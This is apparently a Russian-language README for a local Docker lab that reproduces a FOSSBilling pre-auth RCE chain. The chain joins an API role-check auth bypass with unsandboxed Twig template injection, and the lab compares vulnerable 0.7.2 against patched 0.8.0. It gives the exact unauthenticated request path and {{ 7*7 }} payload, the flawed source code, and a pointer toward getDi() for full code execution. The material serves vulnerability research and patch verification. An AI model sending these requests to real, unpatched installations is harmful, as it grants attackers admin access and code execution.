
Docker-лаборатория, воспроизводящая цепочку pre-auth RCE в FOSSBilling (обход аутентификации CVE-2026-27604 + Twig SSTI CVE-2026-28496) с Python PoC и пропатченной целью для сравнения.
Этот репозиторий содержит локальную лабораторию Docker для воспроизведения и проверки цепочки Pre-Auth RCE в FOSSBilling, состоящей из двух связанных уязвимостей:
| CVE | Тип | CVSS v4 | GHSA | Описание |
|---|---|---|---|---|
| CVE-2026-27604 | Обход аутентификации | 10.0 | GHSA-78x5-c8gw-8279 | Отсутствующий throw в проверке ролей API открывает административные эндпоинты для неаутентифицированных вызывающих |
| CVE-2026-28496 | SSTI | 9.4 | GHSA-57mv-jm88-66jc | Рендеринг шаблонов Twig без песочницы через API string_render |
FOSSBilling — это бесплатная платформа с открытым исходным кодом для биллинга и управления клиентами. Затронуты версии с 0.5.4 по 0.7.2. FOSSBilling 0.8.0 исправляет обе уязвимости.
В этой лаборатории сравниваются две версии FOSSBilling:
| Сервис | Версия FOSSBilling | Назначение | URL |
|---|---|---|---|
| vuln | 0.7.2 | Уязвимая цель | http://localhost:8081 |
| patched | 0.8.0 | Исправленная цель | http://localhost:8082 |
Проверенная цепочка в этой локальной лаборатории:```text Unauthenticated HTTP POST → /api/system/system/string_render → Role "system" resolves to cron admin identity (CVE-2026-27604) → _tpl={{ 7*7 }} passed into unsandboxed Twig rendering (CVE-2026-28496) → Server evaluates the template expression → Returns {"result":"49","error":null}
Пропатченная цель (0.8.0) возвращает:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
Лаборатория намеренно ограничена локальными сервисами Docker. Она не нацелена на внешние системы и не включает веб-оболочки, вредоносное ПО, персистентность, внешние обратные вызовы, дамп баз данных или деструктивные полезные нагрузки.
Для Pre-Auth RCE требуется совместная работа обеих уязвимостей:```text ┌──────────────────────────────────────────────────────────────┐ │ STEP 1: Auth Bypass (CVE-2026-27604) │ │ │ │ URL path: /api/system/system/string_render │ │ Role "system" → cron admin identity │ │ Exception instantiated but never thrown │ │ → Unauthenticated caller gets admin API access │ ├──────────────────────────────────────────────────────────────┤ │ STEP 2: SSTI (CVE-2026-28496) │ │ │ │ Admin API method: System\Api\Admin::string_render() │ │ _tpl parameter → Twig createTemplate() → render() │ │ No sandbox enforcement │ │ → Server-side template evaluation │ ├──────────────────────────────────────────────────────────────┤ │ COMBINED: Pre-Auth RCE │ │ │ │ One unauthenticated HTTP POST │ │ → Admin access (auth bypass) │ │ → Template injection (SSTI) │ │ → getDi() exposes Pimple DI container │ │ → PDO, cache, extension manager, 40+ services reachable │ │ → Remote Code Execution │ └──────────────────────────────────────────────────────────────┘
Этот лабораторный пример демонстрирует цепочку с использованием безопасного арифметического доказательства `{{ 7*7 }}`. Полный путь RCE через `getDi()` не демонстрируется.
## Проверенные факты
| Утверждение | Доказательство | Как проверить |
| ----- | -------- | ------------- |
| CVE-2026-27604 — это обход аутентификации в обработке ролей API FOSSBilling. | GHSA-78x5-c8gw-8279: отсутствующий throw в проверке ролей позволяет /api/system/ разрешаться как admin. | Запустите PoC: путь guest отклоняется, путь system возвращает результат admin. |
| CVE-2026-28496 — это SSTI в рендеринге Twig в FOSSBilling. | GHSA-57mv-jm88-66jc: string_render передаёт _tpl в Twig createTemplate() без песочницы. | Запустите PoC: сервер вычисляет {{ 7*7 }} и возвращает 49. |
| Обе уязвимости затрагивают FOSSBilling с 0.5.4 по 0.7.2. | Публичные рекомендации определяют диапазон уязвимых версий. | Сравните уязвимую (0.7.2) и исправленную (0.8.0) цели. |
| FOSSBilling 0.8.0 исправляет обе уязвимости. | Исправленная цель возвращает "Unknown API call" для тестируемой конечной точки. | Запустите PoC против порта 8082. |
| Обход аутентификации даёт неаутентифицированный доступ администратора. | /api/guest/ отклоняет string_render; /api/system/ возвращает результат без аутентификации. | Запустите этап 1 PoC. |
| SSTI вычисляет контролируемые злоумышленником шаблоны. | {{ 7*7 }} возвращает 49 через уязвимый путь. | Запустите этап 2 PoC. |
| Цепочка обеспечивает Pre-Auth RCE. | Обход аутентификации + SSTI = неаутентифицированная инъекция шаблонов с контекстом администратора. | Запустите PoC полной цепочки. |
| PoC использует только HTTP. | poc.py отправляет только HTTP POST-запросы. | Изучите poc/poc.py. |
## Анализ первопричины
### CVE-2026-27604: обход аутентификации
API FOSSBilling определяет роли из пути URL:```text
/api/:role/:module/:method
Проверка роли проверяет, разрешена ли запрошенная роль. Однако в уязвимых версиях исключение для запрещённых ролей создаётся, но никогда не выбрасывается:```php // Simplified vulnerable pattern if (!in_array($role, $allowed_roles)) { new \Exception("Role not allowed"); // BUG: missing "throw" }
Поскольку исключение никогда не выбрасывается, проверка проходит незаметно. Роль `system` сопоставляется с идентификатором администратора cron, предоставляя полный доступ к admin API любому неаутентифицированному вызывающему.
Влияние на безопасность:```text
/api/guest/system/string_render → denied (guest role, no admin access)
/api/admin/system/string_render → requires authentication
/api/system/system/string_render → admin access WITHOUT authentication (bypass)
Роль system соответствует внутренней идентичности администратора cron, которая обладает полными административными привилегиями.
Метод административного API string_render получает _tpl из данных запроса и передаёт его в конвейер рендеринга шаблонов Twig без применения песочницы:```php
public function string_render($data)
{
if (!isset($data['_tpl'])) {
error_log('_tpl parameter not passed');
return '';
}
$tpl = $data['_tpl'];
$try_render = $data['_try'] ?? false;
$vars = $data;
unset($vars['_tpl'], $vars['_try']);
return $this->getService()->renderString($tpl, $try_render, $vars);
}
Метод `renderString()` передаёт управление `createTemplateFromString()`:```php
public function createTemplateFromString($tpl, $try_render, $vars)
{
try {
$twig = $this->di['twig'];
$template = $twig->createTemplate($tpl);
$parsed = $template->render($vars);
} catch (\Exception $e) {
$parsed = $tpl;
if (!$try_render) {
throw $e;
}
}
return $parsed;
}
Критическая проблема: createTemplate($tpl) создаёт Twig-шаблон из контролируемой злоумышленником строки и рендерит его без ограничений песочницы. Шаблон имеет доступ к объектам в контексте шаблона, включая обработчик гостевого API, который предоставляет getDi().
Input: POST /api/system/system/string_render {"_tpl":"{{ 7*7 }}"}
Step 1 (CVE-2026-27604): URL path → role = "system" → role checker: exception instantiated, NOT thrown → system role → cron admin identity → admin API access granted without authentication